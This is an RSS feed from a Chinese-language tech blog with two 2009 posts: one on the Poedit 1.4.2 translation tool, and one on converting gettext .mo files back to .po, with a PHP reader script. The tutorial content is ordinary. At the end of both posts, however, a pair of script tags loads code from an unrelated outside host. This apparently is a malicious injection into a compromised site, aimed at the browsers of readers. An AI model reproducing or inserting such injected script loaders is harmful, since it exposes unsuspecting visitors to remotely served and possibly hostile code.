<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>TechNow 當代科技 &#187; mo</title>
	<atom:link href="http://www.technow.com.hk/tag/mo/feed" rel="self" type="application/rss+xml" />
	<link>http://www.technow.com.hk</link>
	<description>IT Tech Weblog</description>
	<lastBuildDate>Sat, 31 Jul 2010 14:49:02 +0000</lastBuildDate>
	<language>zh-tw</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
<atom:link rel="hub" href="http://pubsubhubbub.appspot.com"/><atom:link rel="hub" href="http://superfeedr.com/hubbub"/>		<item>
		<title>Poedit 1.4.2 中文版</title>
		<link>http://www.technow.com.hk/poedit-1-4-2</link>
		<comments>http://www.technow.com.hk/poedit-1-4-2#comments</comments>
		<pubDate>Tue, 25 Aug 2009 01:38:26 +0000</pubDate>
		<dc:creator>阿榮</dc:creator>
				<category><![CDATA[Software]]></category>
		<category><![CDATA[mo]]></category>
		<category><![CDATA[po]]></category>
		<category><![CDATA[Poedit]]></category>
		<category><![CDATA[VDownloader]]></category>
		<category><![CDATA[Wordpress]]></category>
		<category><![CDATA[中文化工具]]></category>
		<category><![CDATA[翻譯工具]]></category>

		<guid isPermaLink="false">http://www.technow.com.hk/?p=14804</guid>
		<description><![CDATA[中文化工具–Poedit，這是被許多軟體作者所採用的多國語系翻譯工具，藉由作者提供的PO檔（*.po），翻譯後會產出MO檔（*.mo），採用這套自由軟體的作者應該不少，已知就有WordPress跟VDownloader。 Source]]></description>
			<content:encoded><![CDATA[<div align="right" style="float:right;padding:0px 0px 5px 5px;"><a name="fb_share" type="box_count" share_url="http://www.technow.com.hk/poedit-1-4-2"></a></div><p><img id="BLOGGER_PHOTO_ID_5373564387814843714" style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 344px;" src="http://www.technow.com.hk/wp-content/uploads/2009/08/56a0_poedit_01.png" border="0" alt="56a0 poedit 01 Poedit 1.4.2 中文版"  title="Poedit 1.4.2 中文版" /><br />
<img id="BLOGGER_PHOTO_ID_5373564379977863394" style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 255px; height: 400px;" src="http://www.technow.com.hk/wp-content/uploads/2009/08/73d9_poedit_02.png" border="0" alt="73d9 poedit 02 Poedit 1.4.2 中文版"  title="Poedit 1.4.2 中文版" /><br />
<img id="BLOGGER_PHOTO_ID_5373564314684068306" style="cursor: pointer; width: 55px; height: 55px;" src="http://www.technow.com.hk/wp-content/uploads/2009/08/5c14_poedit.png" border="0" alt="5c14 poedit Poedit 1.4.2 中文版"  title="Poedit 1.4.2 中文版" /><br />
中文化工具–<a href="http://www.poedit.net/">Poedit</a>，這是被許多軟體作者所採用的多國語系翻譯工具，藉由作者提供的PO檔（*.po），翻譯後會產出MO檔（*.mo），採用這套自由軟體的作者應該不少，已知就有<a href="http://azo-freeware.blogspot.com/2008/03/wordpress-25.html">WordPress</a>跟<a href="http://azo-freeware.blogspot.com/2006/12/vdownloader-03b.html">VDownloader</a>。</p>
<p><a href="http://azo-freeware.blogspot.com/2009/08/poedit-142.html">Source</a><script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.technow.com.hk/poedit-1-4-2/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Gettext mo 轉回 po 和 PHP 讀取 mo 檔</title>
		<link>http://www.technow.com.hk/gettext-mo-turn-po-and-php-read-mo-file</link>
		<comments>http://www.technow.com.hk/gettext-mo-turn-po-and-php-read-mo-file#comments</comments>
		<pubDate>Sun, 15 Mar 2009 13:00:34 +0000</pubDate>
		<dc:creator>Tsung Hao</dc:creator>
				<category><![CDATA[E-learning]]></category>
		<category><![CDATA[Gettext mo]]></category>
		<category><![CDATA[mo]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[po]]></category>

		<guid isPermaLink="false">http://www.technow.com.hk/?p=8604</guid>
		<description><![CDATA[Gettext 詳可見: 使用 gettext 來實做 PHP 多國語系支援(I18N) po 檔: 原始文件, 也就是平常翻譯時修改的文件檔案 mo 檔: 程式在看的文件(binary). 但是如果 po 檔不見, 要從 mo 檔轉換回來要怎麼辦? mo 轉 po (msgunfmt) 使用 msgunfmt &#8211; uncompile message catalog from binary format msgunfmt xxx.mo &#62; xxx.po # 這樣子 xxx.po 就是轉換回來的文字檔, 但是原本 po 檔的註解部份資料不會存在(不過通常這些資料也不需要了). PHP 讀取 mo 檔 另外發現 WordPress 的程式裡面有 gettext 的 Library, 找一下發現此篇: [...]]]></description>
			<content:encoded><![CDATA[<div align="right" style="float:right;padding:0px 0px 5px 5px;"><a name="fb_share" type="box_count" share_url="http://www.technow.com.hk/gettext-mo-turn-po-and-php-read-mo-file"></a></div><p><img class="attachment wp-att-6582" src="http://www.technow.com.hk/wp-content/uploads/2009/02/800px-php-n_logosvg.jpg" alt="800px php n logosvg Gettext mo 轉回 po 和 PHP 讀取 mo 檔" width="300" height="158" title="Gettext mo 轉回 po 和 PHP 讀取 mo 檔" /></p>
<p>Gettext 詳可見: <a title="使用 gettext 來實做 PHP 多國語系支援(I18N)" href="http://plog.longwin.com.tw/programming/2007/09/16/gettext_php_i18n_2007" target="_blank">使用 gettext 來實做 PHP 多國語系支援(I18N)</a></p>
<ul>
<li> po 檔: 原始文件, 也就是平常翻譯時修改的文件檔案</li>
<li>mo 檔: 程式在看的文件(binary).</li>
</ul>
<p>但是如果 po 檔不見, 要從 mo 檔轉換回來要怎麼辦?</p>
<p><span id="more-8604"></span></p>
<h4>mo 轉 po (msgunfmt)</h4>
<ul>
<li>使用 <strong>msgunfmt</strong> &#8211; uncompile message catalog from binary format</li>
<li><strong>msgunfmt xxx.mo &gt; xxx.po</strong> # 這樣子 xxx.po 就是轉換回來的文字檔, 但是原本 po 檔的註解部份資料不會存在(不過通常這些資料也不需要了).</li>
</ul>
<h4>PHP 讀取 mo 檔</h4>
<p>另外發現 WordPress 的程式裡面有 gettext 的 Library, 找一下發現此篇: <a title="[wp-polyglots] .mo to .po" href="http://comox.textdrive.com/pipermail/wp-polyglots/2006-July/000989.html" target="_blank"><q>[wp-polyglots] .mo to .po</q></a> (下述程式轉載於此)</p>
<p>使用 WordPress 的 Library, 可以直接將 mo 檔讀出來, 蠻有趣的, 用途可以再想想.</p>
<p>到 WordPress 解開的目錄中, wp-includes 裡面, 找到 l10n.php / streams.php / gettext.php, 將這三個檔案 cp 到同一個目錄後, 再使用下面這程式即可.</p>
<p>程式: mo_reader.php</p>
<blockquote><p><code> &lt;?php<br />
include 'l10n.php';<br />
include 'streams.php';<br />
include 'gettext.php';<br />
$mofile = './xxx.mo';</p>
<p>if (is_readable($mofile)) {<br />
$input = new CachedFileReader($mofile);<br />
$mo2po = new gettext_reader($input);</p>
<p>$mo2po-&gt;load_tables();<br />
echo "&lt;xmp&gt;"; // I know that xmp is officially deprecated , but it works <img src='http://www.technow.com.hk/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' title="Gettext mo 轉回 po 和 PHP 讀取 mo 檔" /><br />
foreach ($mo2po-&gt;cache_translations as $msgid =&gt; $msgstr) {<br />
echo "\n";<br />
if ($msgid == "") {<br />
echo 'msgid ""' . "\n";<br />
echo 'msgstr ""' . "\n";<br />
foreach (split("\n",$msgstr) as $val) {<br />
if ($val != "")<br />
echo '"' . $val . '\n"' . "\n";<br />
}<br />
} else {<br />
echo 'msgid "' . $msgid . '"' . "\n";<br />
echo 'msgstr "' . $msgstr . '"' . "\n";<br />
}<br />
}<br />
echo "&lt;/xmp&gt;";<br />
} else {<br />
echo 'ERROR: file not readable: ' . $mofile;<br />
}<br />
?&gt; </code></p></blockquote>
<p>完整程式含 WordPress Library 壓縮檔可見: <a title="gettext-reader.tgz" href="http://plog.longwin.com.tw/files/gettext-reader.tgz" target="_blank">gettext-reader.tgz</a></p>
<p><a href="http://plog.longwin.com.tw/programming/2009/03/13/gettext-mo-convert-po-php-reader-mo-2009">Source</a><script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.technow.com.hk/gettext-mo-turn-po-and-php-read-mo-file/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
